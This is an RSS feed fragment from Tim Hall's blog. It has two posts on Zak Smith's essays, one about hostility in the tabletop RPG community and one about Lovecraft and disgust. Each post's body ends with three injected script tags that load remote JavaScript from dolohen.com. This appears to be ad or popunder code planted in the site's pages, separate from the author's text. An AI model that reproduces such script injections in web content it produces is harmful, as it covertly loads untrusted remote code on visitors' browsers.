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	<title>Where Worlds Collide &#187; Zak Smith</title>
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		<title>The Cost of Being Creative</title>
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		<pubDate>Sun, 05 Mar 2017 13:27:59 +0000</pubDate>
		<dc:creator><![CDATA[Tim Hall]]></dc:creator>
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		<description><![CDATA[When the cost of lying is less that the cost of creation, any artistic community will suffer. <a href="http://www.kalyr.co.uk/weblog/rants/the-cost-of-being-creative/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Zak Smith has a good post <a href="http://dndwithpornstars.blogspot.co.uk/2017/02/the-cost-of-being-creative-cost-of-lying.html" target="_blank">The Cost of Being Creative, The Cost of Lying</a> on the state of the tabletop RPG hobby a few years ago, around the time I decided to shelve the game I was working on, at least in part because the environment had become too toxic for anyone without a very thick skin.</p>
<blockquote><p>Seven years ago, when I first started to click and google my way into the online RPG community, hereâ€™s what I (like most people) saw:</p>
<p>1. Hundreds of people who were tryingâ€”often quaintly, sometimes dazzlingly, always earnestly and by-and-large without the huge professional benefit that a successful gamble on student loans had given me in the way of an expensive art educationâ€”to make some creative things.</p>
<p>2. Hundreds of people on messageboards and blog comments trying&#8211;by any means necessary and with no holds-barred or fact-checking&#8211;to make doing that as painful as possible</p>
<p>3. The more daring and interesting a thing was, the more aggressively thing #2 happenedâ€¦and have no doubt: it worked. A great deal of middle-of-the-road stuff was being published while the best stuff languished on blogs or in obscure corners of still-obscurer forums.</p>
<p>When I started this blog, folks would write in, asking questions about which way to take their projects, always including â€œI want to_____ but Iâ€™m afraid people will say _____ â€œ.</p></blockquote>
<p>Read the whole thing. He gives plenty of examples, though he stops short of naming names. And if you&#8217;ve been told that Zak Smith is &#8220;one of the most toxic indivduals in the hobby&#8221;, go and read <a href="https://plus.google.com/u/0/+StacyDellorfano/posts/9DgcEuirpPP" target="_blank">this post from Stacy Dellorfano</a> which lays it out straight.</p>
<p>It&#8217;s a shame the grassroots tabletop gaming scene got this way, and I can remember when it happened. There are a lot of parallels with the dysfunctional nature of Science Fiction fandom, though there doesn&#8217;t seem to be a Requires Hate figure that everyone can single out as a scapegoat.</p>
<p>I really hope this madness never comes to music fandom, though clickbait thinkpieces titled &#8220;<em>Alternative music genres are safe spaces for white people</em>&#8221; give me every reason to fear the worst.<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script></p>
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		<title>Lovecraft and the Fear of Ick</title>
		<link>http://www.kalyr.co.uk/weblog/sf-and-gaming/games/lovecraft-and-the-fear-of-ick/</link>
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		<pubDate>Sun, 01 May 2016 12:22:59 +0000</pubDate>
		<dc:creator><![CDATA[Tim Hall]]></dc:creator>
				<category><![CDATA[Games]]></category>
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		<category><![CDATA[H.P.Lovecraft]]></category>
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		<description><![CDATA[Thought-provoking post by Zak Smith on Lovecraft, Nerds And The Uses of Ick. H. P. Lovecraft. <a href="http://www.kalyr.co.uk/weblog/sf-and-gaming/games/lovecraft-and-the-fear-of-ick/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Thought-provoking post by Zak Smith on <a href="http://dndwithpornstars.blogspot.co.uk/2016/04/lovecraft-nerds-and-uses-of-ick.html" target="_blank">Lovecraft, Nerds And The Uses of Ick</a>. H. P. Lovecraft is one of the most controversial figures in SF and gaming cultures. His massive misogyny and racism cannot be denied, yet the visceral power of his horrors mean he&#8217;s still one of the most influential writers of the genre. But both his bigotry and the power of his writing stem from the same fear of the Other.</p>
<blockquote><p>Lovecraftian disgust is visceral, the kind that goes ick. The feeling of having a gun to your head isn&#8217;t ick. Ick is a fear of life&#8211;someone else&#8217;s icky life. Fear of mollusks, for instance&#8211;which are totally harmless&#8211;is Lovecraftian.</p></blockquote>
<p>He then turns to the RPG world&#8217;s rather messy culture wars,Â  drawing parallels between Lovecraft&#8217;s fears and hangups with those of the faction who wish to sanitise and bowdlerise the RPG hobby.</p>
<blockquote><p>When there is ick, there is fear, where there&#8217;s fear there is ignorance, where there&#8217;s ignorance there&#8217;s disgust, and where there&#8217;s disgust, prejudice.</p></blockquote>
<p>I&#8217;m not enirely convinced that calling out some game designers by name is productive, but the points he makes are still valid.<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script></p>
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